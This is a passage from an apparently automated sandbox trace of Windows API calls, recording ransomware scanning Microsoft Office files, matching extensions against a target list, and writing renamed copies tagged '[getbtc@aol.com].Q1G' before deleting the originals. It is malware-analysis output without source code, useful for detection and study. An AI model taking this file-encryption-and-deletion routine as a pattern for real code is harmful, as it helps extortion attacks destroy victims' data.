lpString2="DLL") returned -1 [0248.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.029] lstrlenW (lpString=".dbf") returned 4 [0248.029] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.029] lstrlenW (lpString=".1cd") returned 4 [0248.029] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.029] lstrlenW (lpString=".jpg") returned 4 [0248.029] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.030] lstrlenW (lpString=".doc") returned 4 [0248.030] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.030] lstrlenW (lpString=".docx") returned 5 [0248.030] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0248.030] lstrlenW (lpString=".pdf") returned 4 [0248.030] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.030] lstrlenW (lpString=".xls") returned 4 [0248.030] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.030] lstrlenW (lpString=".xlsx") returned 5 [0248.030] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0248.030] lstrlenW (lpString=".ppt") returned 4 [0248.030] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.030] lstrlenW (lpString=".zip") returned 4 [0248.030] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.030] lstrlenW (lpString=".rar") returned 4 [0248.030] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.030] lstrlenW (lpString=".bz2") returned 4 [0248.030] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.030] lstrlenW (lpString=".7z") returned 3 [0248.030] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.030] lstrlenW (lpString=".dbf") returned 4 [0248.030] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.030] lstrlenW (lpString=".1cd") returned 4 [0248.030] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.030] lstrlenW (lpString=".jpg") returned 4 [0248.030] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.030] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0248.031] lstrlenW (lpString="EDITRES.DLL") returned 11 [0248.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.031] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=19840) returned 1 [0248.031] CloseHandle (hObject=0x3bc) returned 1 [0248.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll")) returned 0x20 [0248.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.031] lstrlenW (lpString=".doc") returned 4 [0248.031] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.031] lstrlenW (lpString=".docx") returned 5 [0248.032] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0248.032] lstrlenW (lpString=".pdf") returned 4 [0248.032] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.032] lstrlenW (lpString=".xls") returned 4 [0248.032] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.032] lstrlenW (lpString=".xlsx") returned 5 [0248.032] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0248.032] lstrlenW (lpString=".ppt") returned 4 [0248.032] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.032] lstrlenW (lpString=".zip") returned 4 [0248.032] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.032] lstrlenW (lpString=".rar") returned 4 [0248.032] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.032] lstrlenW (lpString=".bz2") returned 4 [0248.032] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.032] lstrlenW (lpString=".7z") returned 3 [0248.032] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.032] lstrlenW (lpString=".dbf") returned 4 [0248.032] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.032] lstrlenW (lpString=".1cd") returned 4 [0248.032] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.032] lstrlenW (lpString=".jpg") returned 4 [0248.032] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.032] lstrlenW (lpString=".doc") returned 4 [0248.032] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.032] lstrlenW (lpString=".docx") returned 5 [0248.032] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0248.032] lstrlenW (lpString=".pdf") returned 4 [0248.032] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.032] lstrlenW (lpString=".xls") returned 4 [0248.032] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.033] lstrlenW (lpString=".xlsx") returned 5 [0248.033] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0248.033] lstrlenW (lpString=".ppt") returned 4 [0248.033] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.033] lstrlenW (lpString=".zip") returned 4 [0248.033] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.033] lstrlenW (lpString=".rar") returned 4 [0248.033] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.033] lstrlenW (lpString=".bz2") returned 4 [0248.033] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.033] lstrlenW (lpString=".7z") returned 3 [0248.033] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.033] lstrlenW (lpString=".dbf") returned 4 [0248.033] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.033] lstrlenW (lpString=".1cd") returned 4 [0248.033] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0248.033] lstrlenW (lpString=".jpg") returned 4 [0248.033] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.033] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0248.033] lstrlenW (lpString="EntityPickerIntl.dll") returned 20 [0248.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.034] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=24456) returned 1 [0248.034] CloseHandle (hObject=0x3bc) returned 1 [0248.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll")) returned 0x20 [0248.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.034] lstrlenW (lpString=".doc") returned 4 [0248.034] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0248.034] lstrlenW (lpString=".docx") returned 5 [0248.034] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0248.034] lstrlenW (lpString=".pdf") returned 4 [0248.034] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0248.034] lstrlenW (lpString=".xls") returned 4 [0248.034] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0248.034] lstrlenW (lpString=".xlsx") returned 5 [0248.034] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0248.034] lstrlenW (lpString=".ppt") returned 4 [0248.034] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0248.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.034] lstrlenW (lpString=".zip") returned 4 [0248.034] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0248.034] lstrlenW (lpString=".rar") returned 4 [0248.035] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0248.035] lstrlenW (lpString=".bz2") returned 4 [0248.035] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0248.035] lstrlenW (lpString=".7z") returned 3 [0248.035] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0248.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.035] lstrlenW (lpString=".dbf") returned 4 [0248.035] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0248.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.035] lstrlenW (lpString=".1cd") returned 4 [0248.035] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0248.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.035] lstrlenW (lpString=".jpg") returned 4 [0248.035] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0248.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.035] lstrlenW (lpString=".doc") returned 4 [0248.035] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0248.035] lstrlenW (lpString=".docx") returned 5 [0248.035] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0248.035] lstrlenW (lpString=".pdf") returned 4 [0248.035] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0248.035] lstrlenW (lpString=".xls") returned 4 [0248.035] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0248.035] lstrlenW (lpString=".xlsx") returned 5 [0248.035] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0248.035] lstrlenW (lpString=".ppt") returned 4 [0248.035] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0248.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.035] lstrlenW (lpString=".zip") returned 4 [0248.035] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0248.035] lstrlenW (lpString=".rar") returned 4 [0248.035] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0248.035] lstrlenW (lpString=".bz2") returned 4 [0248.035] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0248.036] lstrlenW (lpString=".7z") returned 3 [0248.036] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0248.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.036] lstrlenW (lpString=".dbf") returned 4 [0248.036] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0248.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.036] lstrlenW (lpString=".1cd") returned 4 [0248.036] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0248.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0248.036] lstrlenW (lpString=".jpg") returned 4 [0248.036] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0248.036] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0248.036] lstrlenW (lpString="ENVELOPR.DLL") returned 12 [0248.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.045] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=17288) returned 1 [0248.045] CloseHandle (hObject=0x3bc) returned 1 [0248.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll")) returned 0x20 [0248.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.046] lstrlenW (lpString=".doc") returned 4 [0248.046] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.046] lstrlenW (lpString=".docx") returned 5 [0248.046] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0248.046] lstrlenW (lpString=".pdf") returned 4 [0248.046] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.046] lstrlenW (lpString=".xls") returned 4 [0248.046] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.046] lstrlenW (lpString=".xlsx") returned 5 [0248.046] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0248.046] lstrlenW (lpString=".ppt") returned 4 [0248.046] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.046] lstrlenW (lpString=".zip") returned 4 [0248.046] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.046] lstrlenW (lpString=".rar") returned 4 [0248.046] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.046] lstrlenW (lpString=".bz2") returned 4 [0248.046] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.046] lstrlenW (lpString=".7z") returned 3 [0248.046] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.047] lstrlenW (lpString=".dbf") returned 4 [0248.047] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.047] lstrlenW (lpString=".1cd") returned 4 [0248.047] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.047] lstrlenW (lpString=".jpg") returned 4 [0248.047] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.047] lstrlenW (lpString=".doc") returned 4 [0248.047] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.047] lstrlenW (lpString=".docx") returned 5 [0248.047] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0248.047] lstrlenW (lpString=".pdf") returned 4 [0248.047] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.047] lstrlenW (lpString=".xls") returned 4 [0248.047] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.047] lstrlenW (lpString=".xlsx") returned 5 [0248.047] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0248.047] lstrlenW (lpString=".ppt") returned 4 [0248.047] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.047] lstrlenW (lpString=".zip") returned 4 [0248.047] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.047] lstrlenW (lpString=".rar") returned 4 [0248.047] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.047] lstrlenW (lpString=".bz2") returned 4 [0248.047] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.047] lstrlenW (lpString=".7z") returned 3 [0248.047] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.047] lstrlenW (lpString=".dbf") returned 4 [0248.048] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.048] lstrlenW (lpString=".1cd") returned 4 [0248.048] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0248.048] lstrlenW (lpString=".jpg") returned 4 [0248.048] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.048] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0248.048] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20 [0248.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.048] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=13696) returned 1 [0248.048] CloseHandle (hObject=0x3bc) returned 1 [0248.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 0x20 [0248.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.049] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.049] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.050] GetLastError () returned 0x0 [0248.050] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x3580, lpOverlapped=0x0) returned 1 [0248.052] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x3590, lpOverlapped=0x0) returned 1 [0248.053] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.053] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0248.053] SetEndOfFile (hFile=0x3b4) returned 1 [0248.053] CloseHandle (hObject=0x3b4) returned 1 [0248.053] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.053] SetEndOfFile (hFile=0x3bc) returned 1 [0248.055] CloseHandle (hObject=0x3bc) returned 1 [0248.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 1 [0248.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.056] lstrlenW (lpString=".doc") returned 4 [0248.056] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0248.056] lstrlenW (lpString=".docx") returned 5 [0248.056] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0248.056] lstrlenW (lpString=".pdf") returned 4 [0248.056] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0248.056] lstrlenW (lpString=".xls") returned 4 [0248.056] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0248.056] lstrlenW (lpString=".xlsx") returned 5 [0248.056] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0248.056] lstrlenW (lpString=".ppt") returned 4 [0248.056] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0248.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.056] lstrlenW (lpString=".zip") returned 4 [0248.056] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0248.056] lstrlenW (lpString=".rar") returned 4 [0248.056] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0248.056] lstrlenW (lpString=".bz2") returned 4 [0248.056] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0248.056] lstrlenW (lpString=".7z") returned 3 [0248.056] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.056] lstrlenW (lpString=".dbf") returned 4 [0248.056] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0248.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.056] lstrlenW (lpString=".1cd") returned 4 [0248.056] lstrcmpiW 